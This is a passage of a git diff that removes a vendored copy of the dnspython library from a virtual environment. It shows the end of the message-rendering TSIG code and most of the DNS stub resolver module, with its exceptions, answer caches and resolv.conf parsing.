- algorithm=dns.tsig.default_algorithm, - ): - """Add a TSIG signature to the message.""" - - s = self.output.getvalue() - - if isinstance(secret, dns.tsig.Key): - key = secret - else: - key = dns.tsig.Key(keyname, secret, algorithm) - tsig = dns.message.Message._make_tsig( # pyright: ignore - keyname, algorithm, 0, fudge, b"", id, tsig_error, other_data - ) - (tsig, _) = dns.tsig.sign(s, key, tsig[0], int(time.time()), request_mac) - self._write_tsig(tsig, keyname) - - def add_multi_tsig( - self, - ctx, - keyname, - secret, - fudge, - id, - tsig_error, - other_data, - request_mac, - algorithm=dns.tsig.default_algorithm, - ): - """Add a TSIG signature to the message. Unlike add_tsig(), this can be - used for a series of consecutive DNS envelopes, e.g. for a zone - transfer over TCP [RFC2845, 4.4]. - - For the first message in the sequence, give ctx=None. For each - subsequent message, give the ctx that was returned from the - add_multi_tsig() call for the previous message.""" - - s = self.output.getvalue() - - if isinstance(secret, dns.tsig.Key): - key = secret - else: - key = dns.tsig.Key(keyname, secret, algorithm) - tsig = dns.message.Message._make_tsig( # pyright: ignore - keyname, algorithm, 0, fudge, b"", id, tsig_error, other_data - ) - (tsig, ctx) = dns.tsig.sign( - s, key, tsig[0], int(time.time()), request_mac, ctx, True - ) - self._write_tsig(tsig, keyname) - return ctx - - def _write_tsig(self, tsig, keyname): - if self.was_padded: - compress = None - else: - compress = self.compress - self._set_section(ADDITIONAL) - with self._track_size(): - keyname.to_wire(self.output, compress, self.origin) - self.output.write( - struct.pack("!HHI", dns.rdatatype.TSIG, dns.rdataclass.ANY, 0) - ) - with prefixed_length(self.output, 2): - tsig.to_wire(self.output) - - self.counts[ADDITIONAL] += 1 - with self._temporarily_seek_to(10): - self.output.write(struct.pack("!H", self.counts[ADDITIONAL])) - - def write_header(self): - """Write the DNS message header. - - Writing the DNS message header is done after all sections - have been rendered, but before the optional TSIG signature - is added. - """ - - with self._temporarily_seek_to(0): - self.output.write( - struct.pack( - "!HHHHHH", - self.id, - self.flags, - self.counts[0], - self.counts[1], - self.counts[2], - self.counts[3], - ) - ) - - def get_wire(self): - """Return the wire format message.""" - - return self.output.getvalue() - - def reserve(self, size: int) -> None: - """Reserve *size* bytes.""" - if size < 0: - raise ValueError("reserved amount must be non-negative") - if size > self.max_size: - raise ValueError("cannot reserve more than the maximum size") - self.reserved += size - self.max_size -= size - - def release_reserved(self) -> None: - """Release the reserved bytes.""" - self.max_size += self.reserved - self.reserved = 0 diff --git a/venv/Lib/site-packages/dns/resolver.py b/venv/Lib/site-packages/dns/resolver.py deleted file mode 100644 index 923bb4b4682cb3a5859d79015bebcb30ef980242..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/resolver.py +++ /dev/null @@ -1,2068 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2017 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -"""DNS stub resolver.""" - -import contextlib -import random -import socket -import sys -import threading -import time -import warnings -from typing import Any, Dict, Iterator, List, Sequence, Tuple, cast -from urllib.parse import urlparse - -import dns._ddr -import dns.edns -import dns.exception -import dns.flags -import dns.inet -import dns.ipv4 -import dns.ipv6 -import dns.message -import dns.name -import dns.nameserver -import dns.query -import dns.rcode -import dns.rdata -import dns.rdataclass -import dns.rdatatype -import dns.rdtypes.ANY.PTR -import dns.rdtypes.svcbbase -import dns.reversename -import dns.tsig - -if sys.platform == "win32": # pragma: no cover - import dns.win32util - - -class NXDOMAIN(dns.exception.DNSException): - """The DNS query name does not exist.""" - - supp_kwargs = {"qnames", "responses"} - fmt = None # we have our own __str__ implementation - - # pylint: disable=arguments-differ - - # We do this as otherwise mypy complains about unexpected keyword argument - # idna_exception - def __init__(self, *args, **kwargs): - super().__init__(*args, **kwargs) - - def _check_kwargs(self, qnames, responses=None): # pyright: ignore - if not isinstance(qnames, list | tuple | set): - raise AttributeError("qnames must be a list, tuple or set") - if len(qnames) == 0: - raise AttributeError("qnames must contain at least one element") - if responses is None: - responses = {} - elif not isinstance(responses, dict): - raise AttributeError("responses must be a dict(qname=response)") - kwargs = dict(qnames=qnames, responses=responses) - return kwargs - - def __str__(self) -> str: - if "qnames" not in self.kwargs: - return super().__str__() - qnames = self.kwargs["qnames"] - if len(qnames) > 1: - msg = "None of DNS query names exist" - else: - msg = "The DNS query name does not exist" - qnames = ", ".join(map(str, qnames)) - return f"{msg}: {qnames}" - - @property - def canonical_name(self): - """Return the unresolved canonical name.""" - if "qnames" not in self.kwargs: - raise TypeError("parametrized exception required") - for qname in self.kwargs["qnames"]: - response = self.kwargs["responses"][qname] - try: - cname = response.canonical_name() - if cname != qname: - return cname - except Exception: # pragma: no cover - # We can just eat this exception as it means there was - # something wrong with the response. - pass - return self.kwargs["qnames"][0] - - def __add__(self, e_nx): - """Augment by results from another NXDOMAIN exception.""" - qnames0 = list(self.kwargs.get("qnames", [])) - responses0 = dict(self.kwargs.get("responses", {})) - responses1 = e_nx.kwargs.get("responses", {}) - for qname1 in e_nx.kwargs.get("qnames", []): - if qname1 not in qnames0: - qnames0.append(qname1) - if qname1 in responses1: - responses0[qname1] = responses1[qname1] - return NXDOMAIN(qnames=qnames0, responses=responses0) - - def qnames(self): - """All of the names that were tried. - - Returns a list of ``dns.name.Name``. - """ - return self.kwargs["qnames"] - - def responses(self): - """A map from queried names to their NXDOMAIN responses. - - Returns a dict mapping a ``dns.name.Name`` to a - ``dns.message.Message``. - """ - return self.kwargs["responses"] - - def response(self, qname): - """The response for query *qname*. - - Returns a ``dns.message.Message``. - """ - return self.kwargs["responses"][qname] - - -class YXDOMAIN(dns.exception.DNSException): - """The DNS query name is too long after DNAME substitution.""" - - -ErrorTuple = Tuple[ - str | None, - bool, - int, - Exception | str, - dns.message.Message | None, -] - - -def _errors_to_text(errors: List[ErrorTuple]) -> List[str]: - """Turn a resolution errors trace into a list of text.""" - texts = [] - for err in errors: - texts.append(f"Server {err[0]} answered {err[3]}") - return texts - - -class LifetimeTimeout(dns.exception.Timeout): - """The resolution lifetime expired.""" - - msg = "The resolution lifetime expired." - fmt = f"{msg[:-1]} after {{timeout:.3f}} seconds: {{errors}}" - supp_kwargs = {"timeout", "errors"} - - # We do this as otherwise mypy complains about unexpected keyword argument - # idna_exception - def __init__(self, *args, **kwargs): - super().__init__(*args, **kwargs) - - def _fmt_kwargs(self, **kwargs): - srv_msgs = _errors_to_text(kwargs["errors"]) - return super()._fmt_kwargs( - timeout=kwargs["timeout"], errors="; ".join(srv_msgs) - ) - - -# We added more detail to resolution timeouts, but they are still -# subclasses of dns.exception.Timeout for backwards compatibility. We also -# keep dns.resolver.Timeout defined for backwards compatibility. -Timeout = LifetimeTimeout - - -class NoAnswer(dns.exception.DNSException): - """The DNS response does not contain an answer to the question.""" - - fmt = "The DNS response does not contain an answer to the question: {query}" - supp_kwargs = {"response"} - - # We do this as otherwise mypy complains about unexpected keyword argument - # idna_exception - def __init__(self, *args, **kwargs): - super().__init__(*args, **kwargs) - - def _fmt_kwargs(self, **kwargs): - return super()._fmt_kwargs(query=kwargs["response"].question) - - def response(self): - return self.kwargs["response"] - - -class NoNameservers(dns.exception.DNSException): - """All nameservers failed to answer the query. - - errors: list of servers and respective errors - The type of errors is - [(server IP address, any object convertible to string)]. - Non-empty errors list will add explanatory message () - """ - - msg = "All nameservers failed to answer the query." - fmt = f"{msg[:-1]} {{query}}: {{errors}}" - supp_kwargs = {"request", "errors"} - - # We do this as otherwise mypy complains about unexpected keyword argument - # idna_exception - def __init__(self, *args, **kwargs): - super().__init__(*args, **kwargs) - - def _fmt_kwargs(self, **kwargs): - srv_msgs = _errors_to_text(kwargs["errors"]) - return super()._fmt_kwargs( - query=kwargs["request"].question, errors="; ".join(srv_msgs) - ) - - -class NotAbsolute(dns.exception.DNSException): - """An absolute domain name is required but a relative name was provided.""" - - -class NoRootSOA(dns.exception.DNSException): - """There is no SOA RR at the DNS root name. This should never happen!""" - - -class NoMetaqueries(dns.exception.DNSException): - """DNS metaqueries are not allowed.""" - - -class NoResolverConfiguration(dns.exception.DNSException): - """Resolver configuration could not be read or specified no nameservers.""" - - -class Answer: - """DNS stub resolver answer. - - Instances of this class bundle up the result of a successful DNS - resolution. - - For convenience, the answer object implements much of the sequence - protocol, forwarding to its ``rrset`` attribute. E.g. - ``for a in answer`` is equivalent to ``for a in answer.rrset``. - ``answer[i]`` is equivalent to ``answer.rrset[i]``, and - ``answer[i:j]`` is equivalent to ``answer.rrset[i:j]``. - - Note that CNAMEs or DNAMEs in the response may mean that answer - RRset's name might not be the query name. - """ - - def __init__( - self, - qname: dns.name.Name, - rdtype: dns.rdatatype.RdataType, - rdclass: dns.rdataclass.RdataClass, - response: dns.message.QueryMessage, - nameserver: str | None = None, - port: int | None = None, - ) -> None: - self.qname = qname - self.rdtype = rdtype - self.rdclass = rdclass - self.response = response - self.nameserver = nameserver - self.port = port - self.chaining_result = response.resolve_chaining() - # Copy some attributes out of chaining_result for backwards - # compatibility and convenience. - self.canonical_name = self.chaining_result.canonical_name - self.rrset = self.chaining_result.answer - self.expiration = time.time() + self.chaining_result.minimum_ttl - - def __getattr__(self, attr): # pragma: no cover - if self.rrset is not None: - if attr == "name": - return self.rrset.name - elif attr == "ttl": - return self.rrset.ttl - elif attr == "covers": - return self.rrset.covers - elif attr == "rdclass": - return self.rrset.rdclass - elif attr == "rdtype": - return self.rrset.rdtype - else: - raise AttributeError(attr) - - def __len__(self) -> int: - return self.rrset is not None and len(self.rrset) or 0 - - def __iter__(self) -> Iterator[Any]: - return self.rrset is not None and iter(self.rrset) or iter(tuple()) - - def __getitem__(self, i): - if self.rrset is None: - raise IndexError - return self.rrset[i] - - def __delitem__(self, i): - if self.rrset is None: - raise IndexError - del self.rrset[i] - - -class Answers(dict): - """A dict of DNS stub resolver answers, indexed by type.""" - - -class EmptyHostAnswers(dns.exception.DNSException): - """The HostAnswers has no addresses""" - - -class HostAnswers(Answers): - """A dict of DNS stub resolver answers to a host name lookup, indexed by - type. - """ - - @classmethod - def make( - cls, - v6: Answer | None = None, - v4: Answer | None = None, - add_empty: bool = True, - ) -> "HostAnswers": - answers = HostAnswers() - if v6 is not None and (add_empty or v6.rrset): - answers[dns.rdatatype.AAAA] = v6 - if v4 is not None and (add_empty or v4.rrset): - answers[dns.rdatatype.A] = v4 - return answers - - # Returns pairs of (address, family) from this result, potentially - # filtering by address family. - def addresses_and_families( - self, family: int = socket.AF_UNSPEC - ) -> Iterator[Tuple[str, int]]: - if family == socket.AF_UNSPEC: - yield from self.addresses_and_families(socket.AF_INET6) - yield from self.addresses_and_families(socket.AF_INET) - return - elif family == socket.AF_INET6: - answer = self.get(dns.rdatatype.AAAA) - elif family == socket.AF_INET: - answer = self.get(dns.rdatatype.A) - else: # pragma: no cover - raise NotImplementedError(f"unknown address family {family}") - if answer: - for rdata in answer: - yield (rdata.address, family) - - # Returns addresses from this result, potentially filtering by - # address family. - def addresses(self, family: int = socket.AF_UNSPEC) -> Iterator[str]: - return (pair[0] for pair in self.addresses_and_families(family)) - - # Returns the canonical name from this result. - def canonical_name(self) -> dns.name.Name: - answer = self.get(dns.rdatatype.AAAA, self.get(dns.rdatatype.A)) - if answer is None: - raise EmptyHostAnswers - return answer.canonical_name - - -class CacheStatistics: - """Cache Statistics""" - - def __init__(self, hits: int = 0, misses: int = 0) -> None: - self.hits = hits - self.misses = misses - - def reset(self) -> None: - self.hits = 0 - self.misses = 0 - - def clone(self) -> "CacheStatistics": - return CacheStatistics(self.hits, self.misses) - - -class CacheBase: - def __init__(self) -> None: - self.lock = threading.Lock() - self.statistics = CacheStatistics() - - def reset_statistics(self) -> None: - """Reset all statistics to zero.""" - with self.lock: - self.statistics.reset() - - def hits(self) -> int: - """How many hits has the cache had?""" - with self.lock: - return self.statistics.hits - - def misses(self) -> int: - """How many misses has the cache had?""" - with self.lock: - return self.statistics.misses - - def get_statistics_snapshot(self) -> CacheStatistics: - """Return a consistent snapshot of all the statistics. - - If running with multiple threads, it's better to take a - snapshot than to call statistics methods such as hits() and - misses() individually. - """ - with self.lock: - return self.statistics.clone() - - -CacheKey = Tuple[dns.name.Name, dns.rdatatype.RdataType, dns.rdataclass.RdataClass] - - -class Cache(CacheBase): - """Simple thread-safe DNS answer cache.""" - - def __init__(self, cleaning_interval: float = 300.0) -> None: - """*cleaning_interval*, a ``float`` is the number of seconds between - periodic cleanings. - """ - - super().__init__() - self.data: Dict[CacheKey, Answer] = {} - self.cleaning_interval = cleaning_interval - self.next_cleaning: float = time.time() + self.cleaning_interval - - def _maybe_clean(self) -> None: - """Clean the cache if it's time to do so.""" - - now = time.time() - if self.next_cleaning <= now: - keys_to_delete = [] - for k, v in self.data.items(): - if v.expiration <= now: - keys_to_delete.append(k) - for k in keys_to_delete: - del self.data[k] - now = time.time() - self.next_cleaning = now + self.cleaning_interval - - def get(self, key: CacheKey) -> Answer | None: - """Get the answer associated with *key*. - - Returns None if no answer is cached for the key. - - *key*, a ``(dns.name.Name, dns.rdatatype.RdataType, dns.rdataclass.RdataClass)`` - tuple whose values are the query name, rdtype, and rdclass respectively. - - Returns a ``dns.resolver.Answer`` or ``None``. - """ - - with self.lock: - self._maybe_clean() - v = self.data.get(key) - if v is None or v.expiration <= time.time(): - self.statistics.misses += 1 - return None - self.statistics.hits += 1 - return v - - def put(self, key: CacheKey, value: Answer) -> None: - """Associate key and value in the cache. - - *key*, a ``(dns.name.Name, dns.rdatatype.RdataType, dns.rdataclass.RdataClass)`` - tuple whose values are the query name, rdtype, and rdclass respectively. - - *value*, a ``dns.resolver.Answer``, the answer. - """ - - with self.lock: - self._maybe_clean() - self.data[key] = value - - def flush(self, key: CacheKey | None = None) -> None: - """Flush the cache. - - If *key* is not ``None``, only that item is flushed. Otherwise the entire cache - is flushed. - - *key*, a ``(dns.name.Name, dns.rdatatype.RdataType, dns.rdataclass.RdataClass)`` - tuple whose values are the query name, rdtype, and rdclass respectively. - """ - - with self.lock: - if key is not None: - if key in self.data: - del self.data[key] - else: - self.data = {} - self.next_cleaning = time.time() + self.cleaning_interval - - -class LRUCacheNode: - """LRUCache node.""" - - def __init__(self, key, value): - self.key = key - self.value = value - self.hits = 0 - self.prev = self - self.next = self - - def link_after(self, node: "LRUCacheNode") -> None: - self.prev = node - self.next = node.next - node.next.prev = self - node.next = self - - def unlink(self) -> None: - self.next.prev = self.prev - self.prev.next = self.next - - -class LRUCache(CacheBase): - """Thread-safe, bounded, least-recently-used DNS answer cache. - - This cache is better than the simple cache (above) if you're - running a web crawler or other process that does a lot of - resolutions. The LRUCache has a maximum number of nodes, and when - it is full, the least-recently used node is removed to make space - for a new one. - """ - - def __init__(self, max_size: int = 100000) -> None: - """*max_size*, an ``int``, is the maximum number of nodes to cache; - it must be greater than 0. - """ - - super().__init__() - self.data: Dict[CacheKey, LRUCacheNode] = {} - self.set_max_size(max_size) - self.sentinel: LRUCacheNode = LRUCacheNode(None, None) - self.sentinel.prev = self.sentinel - self.sentinel.next = self.sentinel - - def set_max_size(self, max_size: int) -> None: - if max_size < 1: - max_size = 1 - self.max_size = max_size - - def get(self, key: CacheKey) -> Answer | None: - """Get the answer associated with *key*. - - Returns None if no answer is cached for the key. - - *key*, a ``(dns.name.Name, dns.rdatatype.RdataType, dns.rdataclass.RdataClass)`` - tuple whose values are the query name, rdtype, and rdclass respectively. - - Returns a ``dns.resolver.Answer`` or ``None``. - """ - - with self.lock: - node = self.data.get(key) - if node is None: - self.statistics.misses += 1 - return None - # Unlink because we're either going to move the node to the front - # of the LRU list or we're going to free it. - node.unlink() - if node.value.expiration <= time.time(): - del self.data[node.key] - self.statistics.misses += 1 - return None - node.link_after(self.sentinel) - self.statistics.hits += 1 - node.hits += 1 - return node.value - - def get_hits_for_key(self, key: CacheKey) -> int: - """Return the number of cache hits associated with the specified key.""" - with self.lock: - node = self.data.get(key) - if node is None or node.value.expiration <= time.time(): - return 0 - else: - return node.hits - - def put(self, key: CacheKey, value: Answer) -> None: - """Associate key and value in the cache. - - *key*, a ``(dns.name.Name, dns.rdatatype.RdataType, dns.rdataclass.RdataClass)`` - tuple whose values are the query name, rdtype, and rdclass respectively. - - *value*, a ``dns.resolver.Answer``, the answer. - """ - - with self.lock: - node = self.data.get(key) - if node is not None: - node.unlink() - del self.data[node.key] - while len(self.data) >= self.max_size: - gnode = self.sentinel.prev - gnode.unlink() - del self.data[gnode.key] - node = LRUCacheNode(key, value) - node.link_after(self.sentinel) - self.data[key] = node - - def flush(self, key: CacheKey | None = None) -> None: - """Flush the cache. - - If *key* is not ``None``, only that item is flushed. Otherwise the entire cache - is flushed. - - *key*, a ``(dns.name.Name, dns.rdatatype.RdataType, dns.rdataclass.RdataClass)`` - tuple whose values are the query name, rdtype, and rdclass respectively. - """ - - with self.lock: - if key is not None: - node = self.data.get(key) - if node is not None: - node.unlink() - del self.data[node.key] - else: - gnode = self.sentinel.next - while gnode != self.sentinel: - next = gnode.next - gnode.unlink() - gnode = next - self.data = {} - - -class _Resolution: - """Helper class for dns.resolver.Resolver.resolve(). - - All of the "business logic" of resolution is encapsulated in this - class, allowing us to have multiple resolve() implementations - using different I/O schemes without copying all of the - complicated logic. - - This class is a "friend" to dns.resolver.Resolver and manipulates - resolver data structures directly. - """ - - def __init__( - self, - resolver: "BaseResolver", - qname: dns.name.Name | str, - rdtype: dns.rdatatype.RdataType | str, - rdclass: dns.rdataclass.RdataClass | str, - tcp: bool, - raise_on_no_answer: bool, - search: bool | None, - ) -> None: - if isinstance(qname, str): - qname = dns.name.from_text(qname, None) - rdtype = dns.rdatatype.RdataType.make(rdtype) - if dns.rdatatype.is_metatype(rdtype): - raise NoMetaqueries - rdclass = dns.rdataclass.RdataClass.make(rdclass) - if dns.rdataclass.is_metaclass(rdclass): - raise NoMetaqueries - self.resolver = resolver - self.qnames_to_try = resolver._get_qnames_to_try(qname, search) - self.qnames = self.qnames_to_try[:] - self.rdtype = rdtype - self.rdclass = rdclass - self.tcp = tcp - self.raise_on_no_answer = raise_on_no_answer - self.nxdomain_responses: Dict[dns.name.Name, dns.message.QueryMessage] = {} - # Initialize other things to help analysis tools - self.qname = dns.name.empty - self.nameservers: List[dns.nameserver.Nameserver] = [] - self.current_nameservers: List[dns.nameserver.Nameserver] = [] - self.errors: List[ErrorTuple] = [] - self.nameserver: dns.nameserver.Nameserver | None = None - self.tcp_attempt = False - self.retry_with_tcp = False - self.request: dns.message.QueryMessage | None = None - self.backoff = 0.0 - - def next_request( - self, - ) -> Tuple[dns.message.QueryMessage | None, Answer | None]: - """Get the next request to send, and check the cache. - - Returns a (request, answer) tuple. At most one of request or - answer will not be None. - """ - - # We return a tuple instead of Union[Message,Answer] as it lets - # the caller avoid isinstance(). - - while len(self.qnames) > 0: - self.qname = self.qnames.pop(0) - - # Do we know the answer? - if self.resolver.cache: - answer = self.resolver.cache.get( - (self.qname, self.rdtype, self.rdclass) - ) - if answer is not None: - if answer.rrset is None and self.raise_on_no_answer: - raise NoAnswer(response=answer.response) - else: - return (None, answer) - answer = self.resolver.cache.get( - (self.qname, dns.rdatatype.ANY, self.rdclass) - ) - if answer is not None and answer.response.rcode() == dns.rcode.NXDOMAIN: - # cached NXDOMAIN; record it and continue to next - # name. - self.nxdomain_responses[self.qname] = answer.response - continue - - # Build the request - request = dns.message.make_query(self.qname, self.rdtype, self.rdclass) - if self.resolver.keyname is not None: - request.use_tsig( - self.resolver.keyring, - self.resolver.keyname, - algorithm=self.resolver.keyalgorithm, - ) - request.use_edns( - self.resolver.edns, - self.resolver.ednsflags, - self.resolver.payload, - options=self.resolver.ednsoptions, - ) - if self.resolver.flags is not None: - request.flags = self.resolver.flags - - self.nameservers = self.resolver._enrich_nameservers( - self.resolver._nameservers, - self.resolver.nameserver_ports, - self.resolver.port, - ) - if self.resolver.rotate: - random.shuffle(self.nameservers) - self.current_nameservers = self.nameservers[:] - self.errors = [] - self.nameserver = None - self.tcp_attempt = False - self.retry_with_tcp = False - self.request = request - self.backoff = 0.10 - - return (request, None) - - # - # We've tried everything and only gotten NXDOMAINs. (We know - # it's only NXDOMAINs as anything else would have returned - # before now.) - # - raise NXDOMAIN(qnames=self.qnames_to_try, responses=self.nxdomain_responses) - - def next_nameserver(self) -> Tuple[dns.nameserver.Nameserver, bool, float]: - if self.retry_with_tcp: - assert self.nameserver is not None - assert not self.nameserver.is_always_max_size() - self.tcp_attempt = True - self.retry_with_tcp = False - return (self.nameserver, True, 0) - - backoff = 0.0 - if not self.current_nameservers: - if len(self.nameservers) == 0: - # Out of things to try! - raise NoNameservers(request=self.request, errors=self.errors) - self.current_nameservers = self.nameservers[:] - backoff = self.backoff - self.backoff = min(self.backoff * 2, 2) - - self.nameserver = self.current_nameservers.pop(0) - self.tcp_attempt = self.tcp or self.nameserver.is_always_max_size() - return (self.nameserver, self.tcp_attempt, backoff) - - def query_result( - self, response: dns.message.Message | None, ex: Exception | None - ) -> Tuple[Answer | None, bool]: - # - # returns an (answer: Answer, end_loop: bool) tuple. - # - assert self.nameserver is not None - if ex: - # Exception during I/O or from_wire() - assert response is None - self.errors.append( - ( - str(self.nameserver), - self.tcp_attempt, - self.nameserver.answer_port(), - ex, - response, - ) - ) - if ( - isinstance(ex, dns.exception.FormError) - or isinstance(ex, EOFError) - or isinstance(ex, OSError) - or isinstance(ex, NotImplementedError) - ): - # This nameserver is no good, take it out of the mix. - self.nameservers.remove(self.nameserver) - elif isinstance(ex, dns.message.Truncated): - if self.tcp_attempt: - # Truncation with TCP is no good! - self.nameservers.remove(self.nameserver) - else: - self.retry_with_tcp = True - return (None, False) - # We got an answer! - assert response is not None - assert isinstance(response, dns.message.QueryMessage) - rcode = response.rcode() - if rcode == dns.rcode.NOERROR: - try: - answer = Answer( - self.qname, - self.rdtype, - self.rdclass, - response, - self.nameserver.answer_nameserver(), - self.nameserver.answer_port(), - ) - except Exception as e: - self.errors.append( - ( - str(self.nameserver), - self.tcp_attempt, - self.nameserver.answer_port(), - e, - response, - ) - ) - # The nameserver is no good, take it out of the mix. - self.nameservers.remove(self.nameserver) - return (None, False) - if self.resolver.cache: - self.resolver.cache.put((self.qname, self.rdtype, self.rdclass), answer) - if answer.rrset is None and self.raise_on_no_answer: - raise NoAnswer(response=answer.response) - return (answer, True) - elif rcode == dns.rcode.NXDOMAIN: - # Further validate the response by making an Answer, even - # if we aren't going to cache it. - try: - answer = Answer( - self.qname, dns.rdatatype.ANY, dns.rdataclass.IN, response - ) - except Exception as e: - self.errors.append( - ( - str(self.nameserver), - self.tcp_attempt, - self.nameserver.answer_port(), - e, - response, - ) - ) - # The nameserver is no good, take it out of the mix. - self.nameservers.remove(self.nameserver) - return (None, False) - self.nxdomain_responses[self.qname] = response - if self.resolver.cache: - self.resolver.cache.put( - (self.qname, dns.rdatatype.ANY, self.rdclass), answer - ) - # Make next_nameserver() return None, so caller breaks its - # inner loop and calls next_request(). - return (None, True) - elif rcode == dns.rcode.YXDOMAIN: - yex = YXDOMAIN() - self.errors.append( - ( - str(self.nameserver), - self.tcp_attempt, - self.nameserver.answer_port(), - yex, - response, - ) - ) - raise yex - else: - # - # We got a response, but we're not happy with the - # rcode in it. - # - if rcode != dns.rcode.SERVFAIL or not self.resolver.retry_servfail: - self.nameservers.remove(self.nameserver) - self.errors.append( - ( - str(self.nameserver), - self.tcp_attempt, - self.nameserver.answer_port(), - dns.rcode.to_text(rcode), - response, - ) - ) - return (None, False) - - -class BaseResolver: - """DNS stub resolver.""" - - # We initialize in reset() - # - # pylint: disable=attribute-defined-outside-init - - domain: dns.name.Name - nameserver_ports: Dict[str, int] - port: int - search: List[dns.name.Name] - use_search_by_default: bool - timeout: float - lifetime: float - keyring: Any | None - keyname: dns.name.Name | str | None - keyalgorithm: dns.name.Name | str - edns: int - ednsflags: int - ednsoptions: List[dns.edns.Option] | None - payload: int - cache: Any - flags: int | None - retry_servfail: bool - rotate: bool - ndots: int | None - _nameservers: Sequence[str | dns.nameserver.Nameserver] - - def __init__( - self, filename: str = "/etc/resolv.conf", configure: bool = True - ) -> None: - """*filename*, a ``str`` or file object, specifying a file - in standard /etc/resolv.conf format. This parameter is meaningful - only when *configure* is true and the platform is POSIX. - - *configure*, a ``bool``. If True (the default), the resolver - instance is configured in the normal fashion for the operating - system the resolver is running on. (I.e. by reading a - /etc/resolv.conf file on POSIX systems and from the registry - on Windows systems.) - """ - - self.reset() - if configure: - if sys.platform == "win32": # pragma: no cover - self.read_registry() - elif filename: - self.read_resolv_conf(filename) - - def reset(self) -> None: - """Reset all resolver configuration to the defaults.""" - - self.domain = dns.name.Name(dns.name.from_text(socket.gethostname())[1:]) - if len(self.domain) == 0: # pragma: no cover - self.domain = dns.name.root - self._nameservers = [] - self.nameserver_ports = {} - self.port = 53 - self.search = [] - self.use_search_by_default = False - self.timeout = 2.0 - self.lifetime = 5.0 - self.keyring = None - self.keyname = None - self.keyalgorithm = dns.tsig.default_algorithm - self.edns = -1 - self.ednsflags = 0 - self.ednsoptions = None - self.payload = 0 - self.cache = None - self.flags = None - self.retry_servfail = False - self.rotate = False - self.ndots = None - - def read_resolv_conf(self, f: Any) -> None: - """Process *f* as a file in the /etc/resolv.conf format. If f is - a ``str``, it is used as the name of the file to open; otherwise it - is treated as the file itself. - - Interprets the following items: - - - nameserver - name server IP address - - - domain - local domain name - - - search - search list for host-name lookup - - - options - supported options are rotate, timeout, edns0, and ndots - - """ - - nameservers = [] - if isinstance(f, str): - try: - cm: contextlib.AbstractContextManager = open(f, encoding="utf-8") - except OSError: - # /etc/resolv.conf doesn't exist, can't be read, etc. - raise NoResolverConfiguration(f"cannot open {f}") - else: - cm = contextlib.nullcontext(f) - with cm as f: - for l in f: - if len(l) == 0 or l[0] == "#" or l[0] == ";": - continue - tokens = l.split() - - # Any line containing less than 2 tokens is malformed - if len(tokens) < 2: - continue - - if tokens[0] == "nameserver": - nameservers.append(tokens[1]) - elif tokens[0] == "domain": - self.domain = dns.name.from_text(tokens[1]) - # domain and search are exclusive - self.search = [] - elif tokens[0] == "search": - # the last search wins - self.search = [] - for suffix in tokens[1:]: - self.search.append(dns.name.from_text(suffix)) - # We don't set domain as it is not used if - # len(self.search) > 0 - elif tokens[0] == "options": - for opt in tokens[1:]: - if opt == "rotate": - self.rotate = True - elif opt == "edns0": - self.use_edns() - elif "timeout" in opt: - try: - self.timeout = int(opt.split(":")[1]) - except (ValueError, IndexError): - pass - elif "ndots" in opt: - try: - self.ndots = int(opt.split(":")[1]) - except (ValueError, IndexError): - pass - if len(nameservers) == 0: - raise NoResolverConfiguration("no nameservers") - # Assigning directly instead of appending means we invoke the - # setter logic, with additonal checking and enrichment. - self.nameservers = nameservers - - def read_registry(self) -> None: # pragma: no cover - """Extract resolver configuration from the Windows registry.""" - try: - info = dns.win32util.get_dns_info() # type: ignore - if info.domain is not None: - self.domain = info.domain - self.nameservers = info.nameservers - self.search = info.search - except AttributeError: - raise NotImplementedError - - def _compute_timeout( - self, - start: float, - lifetime: float | None = None, - errors: List[ErrorTuple] | None = None, - ) -> float: - lifetime = self.lifetime if lifetime is None else lifetime - now = time.time() - duration = now - start - if errors is None: - errors = [] - if duration < 0: - if duration < -1: - # Time going backwards is bad. Just give up. - raise LifetimeTimeout(timeout=duration, errors=errors) - else: - # Time went backwards, but only a little. This can - # happen, e.g. under vmware with older linux kernels. - # Pretend it didn't happen. - duration = 0 - if duration >= lifetime: - raise LifetimeTimeout(timeout=duration, errors=errors) - return min(lifetime - duration, self.timeout) - - def _get_qnames_to_try( - self, qname: dns.name.Name, search: bool | None - ) -> List[dns.name.Name]: - # This is a separate method so we can unit test the search - # rules without requiring the Internet. - if search is None: - search = self.use_search_by_default - qnames_to_try = [] - if qname.is_absolute(): - qnames_to_try.append(qname) - else: - abs_qname = qname.concatenate(dns.name.root) - if search: - if len(self.search) > 0: - # There is a search list, so use it exclusively - search_list = self.search[:] - elif self.domain != dns.name.root and self.domain is not None: - # We have some notion of a domain that isn't the root, so - # use it as the search list. - search_list = [self.domain] - else: - search_list = [] - # Figure out the effective ndots (default is 1) - if self.ndots is None: - ndots = 1 - else: - ndots = self.ndots - for suffix in search_list: - qnames_to_try.append(qname + suffix) - if len(qname) > ndots: - # The name has at least ndots dots, so we should try an - # absolute query first. - qnames_to_try.insert(0, abs_qname) - else: - # The name has less than ndots dots, so we should search - # first, then try the absolute name. - qnames_to_try.append(abs_qname) - else: - qnames_to_try.append(abs_qname) - return qnames_to_try - - def use_tsig( - self, - keyring: Any, - keyname: dns.name.Name | str | None = None, - algorithm: dns.name.Name | str = dns.tsig.default_algorithm, - ) -> None: - """Add a TSIG signature to each query. - - The parameters are passed to ``dns.message.Message.use_tsig()``; - see its documentation for details. - """ - - self.keyring = keyring - self.keyname = keyname - self.keyalgorithm = algorithm - - def use_edns( - self, - edns: int | bool | None = 0, - ednsflags: int = 0, - payload: int = dns.message.DEFAULT_EDNS_PAYLOAD, - options: List[dns.edns.Option] | None = None, - 